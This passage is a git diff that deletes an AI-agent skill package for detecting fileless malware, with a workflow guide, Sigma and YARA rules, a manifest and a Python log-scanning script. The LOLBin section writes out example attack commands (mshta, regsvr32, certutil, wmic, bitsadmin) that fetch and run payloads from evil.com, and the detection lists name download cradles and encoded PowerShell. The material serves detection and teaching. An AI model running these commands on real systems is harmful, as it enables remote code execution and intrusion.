You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding any notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. Please do not remove or change - the license header comment from a contributed file except when - necessary. - - Copyright 2026 mukul975 - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/detecting-fileless-malware-techniques/SKILL.md b/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/detecting-fileless-malware-techniques/SKILL.md deleted file mode 100644 index 5ec83a611..000000000 --- a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/detecting-fileless-malware-techniques/SKILL.md +++ /dev/null @@ -1,424 +0,0 @@ ---- -name: detecting-fileless-malware-techniques -description: 'Detects and analyzes fileless malware that operates entirely in memory using PowerShell, WMI, .NET reflection, - registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing traditional executable files to disk. - Activates for requests involving fileless threat detection, in-memory malware investigation, LOLBin abuse analysis, or WMI - persistence examination. - - ' -domain: cybersecurity -subdomain: malware-analysis -tags: -- malware -- fileless -- LOLBins -- memory-analysis -- detection -version: 1.0.0 -author: mahipal -license: Apache-2.0 -d3fend_techniques: -- Executable Denylisting -- Execution Isolation -- File Metadata Consistency Validation -- Content Format Conversion -- File Content Analysis -nist_csf: -- DE.AE-02 -- RS.AN-03 -- ID.RA-01 -- DE.CM-01 ---- - -# Detecting Fileless Malware Techniques - -## When to Use - -- EDR alerts indicate suspicious behavior from trusted system binaries (PowerShell, mshta, wmic, regsvr32) -- Investigating attacks that leave no traditional malware files on disk -- Analyzing WMI event subscriptions, registry-stored payloads, or scheduled task abuse for persistence -- Building detection rules for LOLBin (Living Off the Land Binary) abuse in enterprise environments -- Memory forensics reveals malicious code but no corresponding files exist on the filesystem - -**Do not use** for traditional file-based malware; standard static and dynamic analysis methods are more appropriate for disk-resident malware. - -## Prerequisites - -- Sysmon installed and configured with comprehensive logging (process creation, WMI events, registry changes) -- PowerShell Script Block Logging and Module Logging enabled -- Volatility 3 for memory forensics of fileless malware artifacts -- Process Monitor (ProcMon) for real-time system activity monitoring -- Windows Event Log access with adequate retention policies -- Autoruns for identifying persistence mechanisms - -## Workflow - -### Step 1: Identify LOLBin Usage - -Detect abuse of legitimate Windows binaries for malicious purposes: - -``` -Commonly Abused LOLBins and Detection Patterns: -━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ -mshta.exe: - Abuse: Execute HTA files with embedded VBScript/JScript - Example: mshta http://evil.com/payload.hta - Example: mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -enc ...""") - Detect: mshta.exe with URL argument or vbscript: prefix - -regsvr32.exe: - Abuse: Load scriptlets via COM (.sct files) - "Squiblydoo" - Example: regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll - Detect: regsvr32.exe with /i: URL parameter - -certutil.exe: - Abuse: Download files, decode Base64 - Example: certutil -urlcache -split -f http://evil.com/payload.exe - Example: certutil -decode encoded.txt payload.exe - Detect: certutil.exe with -urlcache or -decode arguments - -rundll32.exe: - Abuse: Execute DLL functions, JavaScript - Example: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";... - Detect: rundll32.exe with javascript: argument - -wmic.exe: - Abuse: Execute code via XSL stylesheets - Example: wmic process get brief /format:"http://evil.com/payload.xsl" - Detect: wmic.exe with /format: URL parameter - -bitsadmin.exe: - Abuse: Download files via BITS - Example: bitsadmin /transfer job http://evil.com/payload.exe C:\Temp\p.exe - Detect: bitsadmin.exe with /transfer or /addfile to external URL - -cmstp.exe: - Abuse: Execute commands via INF file - Example: cmstp.exe /ni /s payload.inf - Detect: cmstp.exe execution from non-standard locations -``` - -### Step 2: Detect WMI-Based Persistence - -Analyze WMI event subscriptions used for fileless persistence: - -```bash -# List WMI event subscriptions (filters, consumers, bindings) -wmic /namespace:"\\root\subscription" path __EventFilter get Name,Query /format:list -wmic /namespace:"\\root\subscription" path CommandLineEventConsumer get Name,CommandLineTemplate /format:list -wmic /namespace:"\\root\subscription" path ActiveScriptEventConsumer get Name,ScriptText /format:list -wmic /namespace:"\\root\subscription" path __FilterToConsumerBinding get Filter,Consumer /format:list - -# PowerShell enumeration of WMI subscriptions -Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Get-WMIObject -Namespace root\Subscription -Class ActiveScriptEventConsumer -Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -``` - -```python -# Parse Sysmon WMI events (Event IDs 19, 20, 21) -import subprocess -import xml.etree.ElementTree as ET - -# WMI Event Filter creation (EID 19) -result = subprocess.run( - ["wevtutil", "qe", "Microsoft-Windows-Sysmon/Operational", - "/q:*[System[EventID=19 or EventID=20 or EventID=21]]", "/f:xml", "/c:50"], - capture_output=True, text=True -) - -ns = {"e": "http://schemas.microsoft.com/win/2004/08/events/event"} -for event_xml in result.stdout.split(""): - if not event_xml.strip(): - continue - try: - root = ET.fromstring(event_xml + "") - eid = root.find(".//e:System/e:EventID", ns).text - data = {} - for d in root.findall(".//e:EventData/e:Data", ns): - data[d.get("Name")] = d.text - - if eid == "19": - print(f"[!] WMI Filter Created: {data.get('Name')}") - print(f" Query: {data.get('Query')}") - elif eid == "20": - print(f"[!] WMI Consumer Created: {data.get('Name')}") - print(f" Type: {data.get('Type')}") - print(f" Destination: {data.get('Destination')}") - elif eid == "21": - print(f"[!] WMI Binding Created") - print(f" Consumer: {data.get('Consumer')}") - print(f" Filter: {data.get('Filter')}") - except: - pass -``` - -### Step 3: Detect Registry-Resident Payloads - -Find malicious code stored in the Windows Registry: - -```bash -# Common registry locations for fileless payloads -reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /s -reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /s -reg query "HKCU\Environment" /s - -# Check for PowerShell encoded commands in registry values -# Malware stores Base64-encoded payloads in custom registry keys -reg query "HKCU\Software" /s /f "powershell" 2>nul -reg query "HKCU\Software" /s /f "-enc" 2>nul - -# Check for large registry values (possible stored payloads) -python3 << 'PYEOF' -import winreg -import base64 - -suspicious_keys = [ - (winreg.HKEY_CURRENT_USER, r"Software"), - (winreg.HKEY_LOCAL_MACHINE, r"Software"), -] - -def scan_registry(hive, path, depth=0): - if depth > 3: - return - try: - key = winreg.OpenKey(hive, path) - i = 0 - while True: - try: - name, value, vtype = winreg.EnumValue(key, i) - if isinstance(value, str) and len(value) > 500: - # Check for Base64-encoded content - try: - decoded = base64.b64decode(value[:100]) - print(f"[!] Large Base64 value: {path}\\{name} ({len(value)} bytes)") - except: - pass - # Check for PowerShell keywords - if any(kw in value.lower() for kw in ["powershell", "invoke", "iex", "-enc"]): - print(f"[!] PowerShell in registry: {path}\\{name}") - i += 1 - except WindowsError: - break - # Recurse into subkeys - j = 0 - while True: - try: - subkey = winreg.EnumKey(key, j) - scan_registry(hive, f"{path}\\{subkey}", depth + 1) - j += 1 - except WindowsError: - break - except: - pass - -for hive, path in suspicious_keys: - scan_registry(hive, path) -PYEOF -``` - -### Step 4: Analyze Memory for Fileless Artifacts - -Use memory forensics to find in-memory-only malware: - -```bash -# Process with injected code (no backing file) -vol3 -f memory.dmp windows.malfind - -# Check for .NET assemblies loaded from memory (not from disk files) -vol3 -f memory.dmp windows.vadinfo --pid 4012 | grep -i "PAGE_EXECUTE" - -# PowerShell CLR usage (indicates .NET reflection loading) -vol3 -f memory.dmp windows.cmdline | grep -i "powershell" - -# Scan for known fileless frameworks -vol3 -f memory.dmp yarascan.YaraScan --yara-rules " -rule Fileless_PowerShell { - strings: - \$s1 = \"System.Reflection.Assembly\" ascii wide - \$s2 = \"[System.Convert]::FromBase64String\" ascii wide - \$s3 = \"Invoke-Expression\" ascii wide - \$s4 = \"DownloadString\" ascii wide - condition: - 2 of them -} -" - -# Extract PowerShell command history from memory -vol3 -f memory.dmp windows.cmdline -strings memory.dmp | grep -i "invoke-\|iex \|downloadstring\|-encodedcommand" -``` - -### Step 5: Build Comprehensive Detection Rules - -Create detection content for fileless techniques: - -```yaml -# Sigma rule: LOLBin execution with network activity -title: Suspicious LOLBin Execution with Network Arguments -logsource: - category: process_creation - product: windows -detection: - selection_mshta: - Image|endswith: '\mshta.exe' - CommandLine|contains: - - 'http' - - 'vbscript:' - - 'javascript:' - selection_certutil: - Image|endswith: '\certutil.exe' - CommandLine|contains: - - '-urlcache' - - '-decode' - selection_regsvr32: - Image|endswith: '\regsvr32.exe' - CommandLine|contains: '/i:http' - selection_wmic: - Image|endswith: '\wmic.exe' - CommandLine|contains: '/format:http' - condition: selection_mshta or selection_certutil or selection_regsvr32 or selection_wmic -level: high -``` - -```yaml -# Sigma rule: WMI persistence creation -title: WMI Event Subscription for Persistence -logsource: - product: windows - service: sysmon -detection: - selection: - EventID: - - 19 # WMI EventFilter - - 20 # WMI EventConsumer - - 21 # WMI FilterConsumerBinding - condition: selection -level: medium -``` - -### Step 6: Document Fileless Attack Chain - -Map the complete fileless attack lifecycle: - -``` -Typical Fileless Attack Chain: -━━━━━━━━━━━━━━━━━━━━━━━━━━━━ -Phase 1 - Initial Access: - Email -> Macro -> mshta.exe/PowerShell (LOLBin abuse) - OR Web exploit -> regsvr32/certutil (scriptlet download) - -Phase 2 - Execution: - PowerShell downloads and executes script in memory - .NET Assembly.Load() for reflective loading - WMI process creation for lateral movement - -Phase 3 - Persistence: - WMI event subscription (survives reboots) - Registry-stored encoded payload (loaded by Run key) - Scheduled task executing inline PowerShell - -Phase 4 - Privilege Escalation: - PowerShell with Invoke-Mimikatz (in-memory credential theft) - Named pipe impersonation via WMI - -Phase 5 - Lateral Movement: - WMI remote process creation (no file transfer needed) - PowerShell remoting (WinRM) - PsExec via WMI - -Phase 6 - Exfiltration: - PowerShell HTTP POST to C2 - DNS tunneling via Invoke-DNSExfiltration - Cloud storage API (OneDrive, Google Drive) -``` - -## Key Concepts - -| Term | Definition | -|------|------------| -| **Fileless Malware** | Malware operating entirely in memory or within legitimate system tools without creating traditional executable files on disk | -| **LOLBins (Living Off the Land Binaries)** | Legitimate system binaries (mshta, regsvr32, certutil) abused by attackers to execute malicious code while evading application whitelisting | -| **WMI Event Subscription** | Windows Management Instrumentation persistence mechanism using event filters, consumers, and bindings to execute code on system events | -| **Registry-Resident Payload** | Malicious code stored as encoded data in Windows Registry values, loaded and executed by a small stub in a Run key | -| **Reflective Loading** | Loading .NET assemblies or PE files from byte arrays in memory using Assembly.Load() without writing to disk | -| **In-Memory Execution** | Running code directly in RAM without creating files, leveraging process injection, reflective loading, or script interpreters | -| **Script Block Logging** | Windows PowerShell logging feature (Event ID 4104) that captures script content after deobfuscation, essential for fileless threat visibility | - -## Tools & Systems - -- **Sysmon**: System Monitor providing detailed event logging for process creation, WMI events, registry changes, and network connections -- **Autoruns**: Sysinternals tool showing all auto-start locations including WMI subscriptions, scheduled tasks, and registry entries -- **Volatility**: Memory forensics framework for detecting in-memory code, injected processes, and fileless malware artifacts -- **Process Monitor**: Real-time monitoring of file system, registry, and process activity for observing fileless attack behavior -- **LOLBAS Project**: Community-documented catalog of LOLBin abuse techniques at https://lolbas-project.github.io/ - -## Common Scenarios - -### Scenario: Investigating a Fileless Attack Using WMI Persistence - -**Context**: Sysmon alerts show WMI event subscription creation followed by periodic PowerShell execution without any corresponding malware files on disk. The attack persists across reboots. - -**Approach**: -1. Query WMI namespace for event filters, consumers, and bindings to identify the persistence mechanism -2. Extract the CommandLineEventConsumer or ActiveScriptEventConsumer payload -3. Decode the PowerShell command (typically Base64-encoded with -enc flag) -4. Trace the PowerShell execution in Script Block Logging (Event ID 4104) for the full deobfuscated payload -5. Analyze memory dump for reflectively loaded assemblies and injected code -6. Check registry for additional stored payloads referenced by the PowerShell script -7. Map the complete attack chain from initial access through persistence and lateral movement - -**Pitfalls**: -- Not having Sysmon WMI event logging enabled (Events 19/20/21) before the incident -- Rebooting the system before capturing a memory dump (destroys in-memory evidence) -- Focusing only on file-based IOCs when the attack is entirely fileless -- Missing the initial access vector because the LOLBin execution left minimal traces - -## Output Format - -``` -FILELESS MALWARE ANALYSIS REPORT -=================================== -Incident: INC-2025-2847 -Attack Type: Fileless (no malware files on disk) - -INITIAL ACCESS -Vector: Phishing email with macro-enabled document -LOLBin Chain: WINWORD.EXE -> mshta.exe -> powershell.exe - -PERSISTENCE MECHANISM -Type: WMI Event Subscription -Filter Name: WindowsUpdateCheck -Filter Query: SELECT * FROM __InstanceModificationEvent WITHIN 300 - WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' -Consumer: CommandLineEventConsumer -Command: powershell.exe -nop -w hidden -enc JABjAGwAaQBlAG4AdAA... - -DECODED PAYLOAD -[Layer 1] Base64 UTF-16LE decode -[Layer 2] AMSI bypass + Assembly.Load() of embedded .NET payload -[Layer 3] .NET RAT with C2 communication to 185.220.101[.]42 - -REGISTRY PAYLOADS -HKCU\Software\AppDataLow\Config\data = [Base64 encoded .NET assembly, 247KB] -Loaded by: PowerShell WMI consumer script - -MEMORY ARTIFACTS -PID 4012 (powershell.exe): Injected .NET assembly at 0x00400000 - - CobaltStrike beacon detected via YARA - - C2: hxxps://185.220.101[.]42/updates - -EXTRACTED IOCs -C2 IP: 185.220.101[.]42 -WMI Filter: WindowsUpdateCheck -Registry Path: HKCU\Software\AppDataLow\Config\data -PowerShell Flags: -nop -w hidden -enc - -MITRE ATT&CK -T1059.001 PowerShell -T1546.003 WMI Event Subscription -T1218.005 Mshta -T1112 Modify Registry -T1055.012 Process Hollowing -``` diff --git a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/detecting-fileless-malware-techniques/manifest.json b/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/detecting-fileless-malware-techniques/manifest.json deleted file mode 100644 index 3658ad9e5..000000000 --- a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/detecting-fileless-malware-techniques/manifest.json +++ /dev/null @@ -1,63 +0,0 @@ -{ - "schemaVersion": "hub.plugin.v1", - "id": "detecting-fileless-malware-techniques", - "type": "skill", - "name": "detecting-fileless-malware-techniques", - "description": "Detects and analyzes fileless malware that operates entirely in memory using PowerShell, WMI, .NET reflection, registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing traditional executable files to disk. Activates for requests involving fileless threat detection, in-memory malware investigation, LOLBin abuse analysis, or WMI persistence examination.", - "version": "1.0.0", - "author": "mahipal", - "license": "Apache-2.0", - "homepage": "https://github.com/mukul975/Anthropic-Cybersecurity-Skills", - "category": "detection", - "tags": [ - "windows" - ], - "useCases": [ - "endpoint-forensics" - ], - "domains": [ - "security-ops" - ], - "capabilities": [ - "llm-agent", - "file-analysis" - ], - "trust": "community", - "source": { - "kind": "bundled", - "path": ".flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/detecting-fileless-malware-techniques" - }, - "compatibility": { - "flocks": ">=0.8.0", - "os": [ - "darwin", - "linux", - "windows" - ] - }, - "dependencies": { - "skills": [], - "tools": [], - "python": [], - "external": [] - }, - "permissions": { - "tools": [], - "network": false, - "shell": false, - "filesystem": "read" - }, - "risk": { - "level": "low", - "reasons": [] - }, - "entrypoints": [ - "SKILL.md" - ], - "checksums": {}, - "upstream": { - "name": "mukul975/Anthropic-Cybersecurity-Skills", - "url": "https://github.com/mukul975/Anthropic-Cybersecurity-Skills" - }, - "sourceNotice": "Source: This skill is adapted from the open-source project https://github.com/mukul975/Anthropic-Cybersecurity-Skills." -} diff --git a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/detecting-fileless-malware-techniques/references/api-reference.md b/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/detecting-fileless-malware-techniques/references/api-reference.md deleted file mode 100644 index 02a216a27..000000000 --- a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/detecting-fileless-malware-techniques/references/api-reference.md +++ /dev/null @@ -1,81 +0,0 @@ -# Fileless Malware Detection API Reference - -## Windows Event IDs for Fileless Detection - -| Event ID | Log | Description | -|----------|-----|-------------| -| 4104 | PowerShell Operational | Script Block Logging (full script content) | -| 4103 | PowerShell Operational | Module Logging | -| 1 | Sysmon | Process Creation with command line | -| 8 | Sysmon | CreateRemoteThread (injection) | -| 10 | Sysmon | ProcessAccess (injection prep) | -| 19/20/21 | Sysmon | WMI Event Filter/Consumer/Binding | -| 7045 | System | New service installed | - -## python-evtx - Parse Windows Event Logs - -```python -import Evtx.Evtx as evtx - -with evtx.Evtx("Security.evtx") as log: - for record in log.records(): - xml = record.xml() - if "4104" in xml: - print(record.timestamp(), xml[:500]) -``` - -## Volatility 3 Commands - -```bash -# Detect injected code (RWX memory, PE headers in non-image VADs) -vol3 -f memory.dmp windows.malfind - -# List processes -vol3 -f memory.dmp windows.pslist - -# Scan for hidden processes -vol3 -f memory.dmp windows.psscan - -# List loaded DLLs -vol3 -f memory.dmp windows.dlllist --pid 1234 - -# Extract injected code -vol3 -f memory.dmp windows.malfind --dump --pid 1234 -``` - -## LOLBins Detection Patterns (Sysmon) - -```xml - - - - mshta.exe - regsvr32.exe - certutil.exe - wmic.exe - cmstp.exe - msbuild.exe - - -``` - -## Suspicious PowerShell Indicators - -``` --enc / -EncodedCommand → Base64-encoded command -IEX / Invoke-Expression → Dynamic code execution -Net.WebClient → Download cradle -DownloadString() → Remote script fetch -Reflection.Assembly → Reflective .NET loading -VirtualAlloc → Shellcode allocation -FromBase64String → Payload decoding -``` - -## WMI Persistence Check - -```powershell -# List WMI event subscriptions -Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Get-WMIObject -Namespace root\Subscription -Class __EventConsumer -Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -``` diff --git a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/detecting-fileless-malware-techniques/scripts/agent.py b/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/detecting-fileless-malware-techniques/scripts/agent.py deleted file mode 100644 index 7a534f8d4..000000000 --- a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/detecting-fileless-malware-techniques/scripts/agent.py +++ /dev/null @@ -1,205 +0,0 @@ -#!/usr/bin/env python3 -"""Fileless malware detection agent using Windows event logs and Volatility.""" - -import json -import os -import re -import subprocess -import sys -from datetime import datetime - -try: - import Evtx.Evtx as evtx - HAS_EVTX = True -except ImportError: - HAS_EVTX = False - - -LOLBINS = { - "mshta.exe": {"risk": "HIGH", "usage": "Execute HTA with embedded VBScript/JScript"}, - "regsvr32.exe": {"risk": "HIGH", "usage": "Proxy execution via COM scriptlets"}, - "rundll32.exe": {"risk": "HIGH", "usage": "Execute DLL exports or JavaScript"}, - "certutil.exe": {"risk": "HIGH", "usage": "Download files, decode base64 payloads"}, - "bitsadmin.exe": {"risk": "MEDIUM", "usage": "Download files via BITS service"}, - "wmic.exe": {"risk": "HIGH", "usage": "Remote execution, XSL script processing"}, - "cmstp.exe": {"risk": "HIGH", "usage": "UAC bypass, COM object registration"}, - "msbuild.exe": {"risk": "HIGH", "usage": "Execute inline C# tasks from XML"}, - "installutil.exe": {"risk": "MEDIUM", "usage": "Execute .NET assemblies"}, - "regasm.exe": {"risk": "MEDIUM", "usage": "Execute .NET COM assemblies"}, - "powershell.exe": {"risk": "CONTEXT", "usage": "Script execution, download cradle"}, - "cmd.exe": {"risk": "CONTEXT", "usage": "Command execution, script chaining"}, - "wscript.exe": {"risk": "MEDIUM", "usage": "Execute VBScript/JScript files"}, - "cscript.exe": {"risk": "MEDIUM", "usage": "Execute VBScript/JScript files"}, -} - -SUSPICIOUS_PS_PATTERNS = [ - (r'-enc\s', "Encoded command execution"), - (r'IEX\s*\(', "Invoke-Expression (download cradle)"), - (r'Invoke-Expression', "Invoke-Expression"), - (r'Net\.WebClient', "WebClient download"), - (r'DownloadString\(', "Remote script download"), - (r'DownloadFile\(', "File download"), - (r'FromBase64String', "Base64 decoding"), - (r'Reflection\.Assembly', ".NET reflection loading"), - (r'\[System\.Convert\]', "Type conversion (possible decode)"), - (r'New-Object\s+IO\.MemoryStream', "In-memory stream (reflective load)"), - (r'VirtualAlloc', "Memory allocation (shellcode)"), - (r'CreateThread', "Thread creation (injection)"), - (r'Add-MpPreference.*ExclusionPath', "Defender exclusion modification"), - (r'Set-MpPreference.*DisableRealtimeMonitoring', "Defender disablement"), -] - - -def scan_powershell_logs(log_dir=None): - """Scan PowerShell script block logs for suspicious patterns.""" - if not log_dir: - log_dir = r"C:\Windows\System32\winevt\Logs" - - ps_log = os.path.join(log_dir, "Microsoft-Windows-PowerShell%4Operational.evtx") - if not os.path.exists(ps_log) or not HAS_EVTX: - return {"error": "PowerShell log not found or python-evtx not installed"} - - alerts = [] - with evtx.Evtx(ps_log) as log: - for record in log.records(): - try: - xml = record.xml() - if "4104" not in xml: - continue - for pattern, desc in SUSPICIOUS_PS_PATTERNS: - if re.search(pattern, xml, re.IGNORECASE): - alerts.append({ - "event_id": 4104, - "timestamp": record.timestamp().isoformat(), - "detection": desc, - "snippet": xml[:500], - }) - break - except Exception: - continue - - return {"log_file": ps_log, "suspicious_events": len(alerts), "alerts": alerts[:50]} - - -def scan_sysmon_for_lolbins(log_dir=None): - """Scan Sysmon logs for LOLBin process creation events.""" - if not log_dir: - log_dir = r"C:\Windows\System32\winevt\Logs" - - sysmon_log = os.path.join(log_dir, "Microsoft-Windows-Sysmon%4Operational.evtx") - if not os.path.exists(sysmon_log) or not HAS_EVTX: - return {"error": "Sysmon log not found or python-evtx not installed"} - - detections = [] - with evtx.Evtx(sysmon_log) as log: - for record in log.records(): - try: - xml = record.xml() - if "1" not in xml: - continue - for lolbin, info in LOLBINS.items(): - if lolbin.lower() in xml.lower(): - detections.append({ - "timestamp": record.timestamp().isoformat(), - "lolbin": lolbin, - "risk": info["risk"], - "known_abuse": info["usage"], - "snippet": xml[:500], - }) - break - except Exception: - continue - - return {"log_file": sysmon_log, "lolbin_detections": len(detections), "detections": detections[:50]} - - -def scan_wmi_persistence(): - """Detect WMI event subscription persistence mechanisms.""" - cmd = [ - "powershell", "-Command", - "Get-WMIObject -Namespace root\\Subscription -Class __EventFilter | " - "Select-Object Name, Query | ConvertTo-Json" - ] - try: - result = subprocess.run(cmd, capture_output=True, text=True, timeout=15) - if result.returncode == 0 and result.stdout.strip(): - filters = json.loads(result.stdout) - if not isinstance(filters, list): - filters = [filters] - return {"wmi_event_filters": filters, "count": len(filters)} - return {"wmi_event_filters": [], "count": 0} - except Exception as e: - return {"error": str(e)} - - -def scan_registry_run_keys(): - """Check registry Run keys for suspicious persistence entries.""" - keys_to_check = [ - r"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", - r"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", - r"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce", - ] - results = [] - for key in keys_to_check: - cmd = ["reg", "query", key] - try: - r = subprocess.run(cmd, capture_output=True, text=True, timeout=10) - if r.returncode == 0: - for line in r.stdout.strip().splitlines(): - line = line.strip() - if line and not line.startswith("HKEY"): - for lolbin in LOLBINS: - if lolbin.lower() in line.lower(): - results.append({ - "key": key, - "entry": line, - "lolbin_detected": lolbin, - "risk": "HIGH", - }) - except Exception: - continue - return {"registry_persistence": results, "count": len(results)} - - -def run_volatility_malfind(memory_dump): - """Run Volatility malfind to detect injected code in memory.""" - if not os.path.exists(memory_dump): - return {"error": f"Memory dump not found: {memory_dump}"} - cmd = ["vol3", "-f", memory_dump, "windows.malfind"] - try: - result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) - return {"output": result.stdout.strip(), "exit_code": result.returncode} - except FileNotFoundError: - return {"error": "Volatility 3 (vol3) not installed"} - except subprocess.TimeoutExpired: - return {"error": "Volatility analysis timed out"} - - -def generate_report(): - """Generate fileless malware detection report.""" - return { - "timestamp": datetime.utcnow().isoformat() + "Z", - "powershell_scan": scan_powershell_logs(), - "lolbin_scan": scan_sysmon_for_lolbins(), - "wmi_persistence": scan_wmi_persistence(), - "registry_persistence": scan_registry_run_keys(), - } - - -if __name__ == "__main__": - action = sys.argv[1] if len(sys.argv) > 1 else "report" - if action == "report": - print(json.dumps(generate_report(), indent=2, default=str)) - elif action == "powershell": - log_dir = sys.argv[2] if len(sys.argv) > 2 else None - print(json.dumps(scan_powershell_logs(log_dir), indent=2, default=str)) - elif action == "lolbins": - print(json.dumps(scan_sysmon_for_lolbins(), indent=2, default=str)) - elif action == "wmi": - print(json.dumps(scan_wmi_persistence(), indent=2)) - elif action == "registry": - print(json.dumps(scan_registry_run_keys(), indent=2)) - elif action == "malfind" and len(sys.argv) > 2: - print(json.dumps(run_volatility_malfind(sys.argv[2]), indent=2)) - else: - print("Usage: agent.py [report|powershell [log_dir]|lolbins|wmi|registry|malfind ]") diff --git a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/hunting-for-anomalous-powershell-execution/LICENSE b/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/hunting-for-anomalous-powershell-execution/LICENSE deleted file mode 100644 index d8851182d..000000000 --- a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/hunting-for-anomalous-powershell-execution/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - 